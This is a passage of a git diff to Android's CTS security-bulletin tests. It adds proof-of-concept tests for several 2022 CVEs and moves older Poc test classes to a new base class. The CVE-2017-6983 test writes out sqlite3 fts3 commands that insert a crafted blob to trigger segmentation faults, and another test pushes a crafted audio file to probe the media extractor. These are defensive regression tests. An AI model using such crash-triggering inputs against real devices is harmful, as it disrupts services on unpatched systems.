+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20348 extends NonRootSecurityTestCase {
+ static final String TEST_PKG = "android.security.cts.CVE_2022_20348";
+ public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver";
+
+ @AsbSecurityTest(cveBugId = 228315529)
+ @Test
+ public void testPocCVE_2022_20348() throws Exception {
+ try {
+ ITestDevice device = getDevice();
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ /* Install the test application */
+ installPackage("CVE-2022-20348.apk");
+
+ /* Set Device Admin Component */
+ AdbUtils.runCommandLine(
+ "dpm set-device-owner '" + TEST_PKG + "/" + TEST_DEVICE_ADMIN_RECEIVER + "'",
+ device);
+
+ /* Run the test "testWifiScanningDisallowed" */
+ runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testWifiScanningDisallowed");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
index c4f52254d66..f8dcc48de61 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
@@ -20,7 +20,7 @@ import static org.junit.Assume.assumeNoException;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,7 +28,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20349 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20349 extends NonRootSecurityTestCase {
static final String TEST_PKG = "android.security.cts.CVE_2022_20349";
public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java
new file mode 100644
index 00000000000..12bb187b47f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20353 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 221041256)
+ @Test
+ public void testPocCVE_2022_20353() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2022_20353";
+ ITestDevice device = getDevice();
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ // to generate NOTICE.html if not already present
+ AdbUtils.runCommandLine("am start -a android.settings.LICENSE", device);
+
+ installPackage("CVE-2022-20353.apk");
+
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testDefaultRingtonePreference");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
new file mode 100644
index 00000000000..a0200f17840
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assume.*;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_22082 extends NonRootSecurityTestCase {
+
+ /**
+ * CVE-2022-22082
+ */
+ @AsbSecurityTest(cveBugId = 223211217)
+ @Test
+ public void testPocCVE_2022_22082() throws Exception {
+ /*
+ * Non StageFright test.
+ */
+ safeReboot();
+ AdbUtils.pushResource("/cve_2022_22082.dsf", "/sdcard/cve_2022_22082.dsf", getDevice());
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "am start -a android.intent.action.VIEW -t audio/dsf -d"
+ + " file:///sdcard/cve_2022_22082.dsf",
+ getDevice());
+ Thread.sleep(10000);
+ AdbUtils.assertNoCrashes(getDevice(), "media.extractor");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
deleted file mode 100644
index 1d57cb6a468..00000000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.ddmlib.Log;
-
-import com.google.common.collect.ImmutableSet;
-
-import java.util.Set;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class HostsideMainlineModuleDetector {
- private static final String LOG_TAG = "MainlineModuleDetector";
-
- private SecurityTestCase context;
-
- private static ImmutableSet<String> playManagedModules;
-
- HostsideMainlineModuleDetector(SecurityTestCase context) {
- this.context = context;
- }
-
- synchronized Set<String> getPlayManagedModules() throws Exception {
- if (playManagedModules == null) {
- AdbUtils.runCommandLine("logcat -c", context.getDevice());
- String output = AdbUtils.runCommandLine(
- "am start com.android.cts.mainlinemoduledetector/.MainlineModuleDetector",
- context.getDevice());
- Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
- "am output: " + output);
- Thread.sleep(5 * 1000L);
- String logcat = AdbUtils.runCommandLine("logcat -d -s MainlineModuleDetector:I",
- context.getDevice());
- Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
- "Found logcat output: " + logcat);
- Matcher matcher = Pattern.compile("Play managed modules are: <(.*?)>").matcher(logcat);
- if (matcher.find()) {
- playManagedModules = ImmutableSet.copyOf(matcher.group(1).split(","));
- } else {
- playManagedModules = ImmutableSet.of();
- }
- }
- return playManagedModules;
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index 367c766f750..2a0a572acc2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -15,15 +15,18 @@
*/
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_04 extends SecurityTestCase {
+public class Poc16_04 extends NonRootSecurityTestCase {
/**
* b/26323455
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index f185352d60c..a837d5b0a5f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_05 extends SecurityTestCase {
+public class Poc16_05 extends NonRootSecurityTestCase {
/**
* b/27555981
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
index 6f7d26bde86..d4519ba3f84 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_06 extends SecurityTestCase {
+public class Poc16_06 extends NonRootSecurityTestCase {
/**
* b/27661749
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index d5982522bb4..ae91d11e6d9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_07 extends SecurityTestCase {
+public class Poc16_07 extends NonRootSecurityTestCase {
/**
* b/28740702
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index e3f9906a2ca..69821c88987 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_09 extends SecurityTestCase {
+public class Poc16_09 extends NonRootSecurityTestCase {
/**
* b/27773913
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index c19333af12c..beec744e4ea 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_10 extends SecurityTestCase {
+public class Poc16_10 extends NonRootSecurityTestCase {
/**
* b/30204103
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index 5012920c3de..e1334b59dc8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_11 extends SecurityTestCase {
+public class Poc16_11 extends NonRootSecurityTestCase {
/**
* b/29149404
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
index 392b11a1c4a..96570645487 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_12 extends SecurityTestCase {
+public class Poc16_12 extends NonRootSecurityTestCase {
//Criticals
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 07737163131..71e6998c4e2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_01 extends SecurityTestCase {
+public class Poc17_01 extends NonRootSecurityTestCase {
//Criticals
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index 1fd4bf95d68..cd3dab04536 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_02 extends SecurityTestCase {
+public class Poc17_02 extends NonRootSecurityTestCase {
/**
* b/32799236
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 50093b81a96..fba71464cc9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -16,17 +16,20 @@
package android.security.cts;
-import java.util.concurrent.Callable;
+import static org.junit.Assert.*;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import java.util.concurrent.Callable;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_03 extends SecurityTestCase {
+public class Poc17_03 extends NonRootSecurityTestCase {
/**
* b/31824853
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index 36f921c81b0..478398b864a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_04 extends SecurityTestCase {
+public class Poc17_04 extends NonRootSecurityTestCase {
/**
* b/32342065
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
index fcedfb95a89..11a31233b0e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
@@ -16,18 +16,18 @@
package android.security.cts;
-import java.util.Arrays;
-import java.util.concurrent.Callable;
+import static org.junit.Assert.*;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_05 extends SecurityTestCase {
+public class Poc17_05 extends NonRootSecurityTestCase {
/*
* CVE-2016-5862
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
index a3609a2418d..9afeb9bdb76 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_06 extends SecurityTestCase {
+public class Poc17_06 extends NonRootSecurityTestCase {
/**
* b/36392138
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
index f9309e5b93c..52b40a6d08a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_07 extends SecurityTestCase {
+public class Poc17_07 extends NonRootSecurityTestCase {
/**
* b/35443725
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
index dbb50bd19b7..fdbc11f37fe 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_09 extends SecurityTestCase {
+public class Poc17_09 extends NonRootSecurityTestCase {
/**
* b/63852675
@@ -32,31 +35,39 @@ public class Poc17_09 extends SecurityTestCase {
@Test
@AsbSecurityTest(cveBugId = 63852675)
public void testPocCve_2017_6983() throws Exception {
- // Error code of 139 represents segmentation fault
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT optimize(b) FROM a;\""
- , getDevice()
- )==139);
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT snippet(b) FROM a;\""
- , getDevice()
- )==139);
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT offsets(b) FROM a;\""
- , getDevice()
- )==139);
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT matchinfo(b) FROM a;\""
- , getDevice()
- )==139);
+ // Error code of 139 represents segmentation fault
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT optimize(b) FROM a;\"",
+ getDevice())
+ == 139);
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT snippet(b) FROM a;\"",
+ getDevice())
+ == 139);
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT offsets(b) FROM a;\"",
+ getDevice())
+ == 139);
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT matchinfo(b) FROM a;\"",
+ getDevice())
+ == 139);
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index 168656111e4..4d406b7ce29 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_11 extends SecurityTestCase {
+public class Poc17_11 extends NonRootSecurityTestCase {
/**
* b/36075131
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 160ec27d4a4..f63f34ff507 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_12 extends SecurityTestCase {
+public class Poc17_12 extends NonRootSecurityTestCase {
/**
* b/38045794
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index 1730fefecd2..b27efff8fd5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_02 extends SecurityTestCase {
+public class Poc18_02 extends NonRootSecurityTestCase {
/**
* b/68953950
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index 0899f282005..f7a9519071d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_03 extends SecurityTestCase {
+public class Poc18_03 extends NonRootSecurityTestCase {
/**
* b/71389378
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
index 17ada80a888..7a4fd549db4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
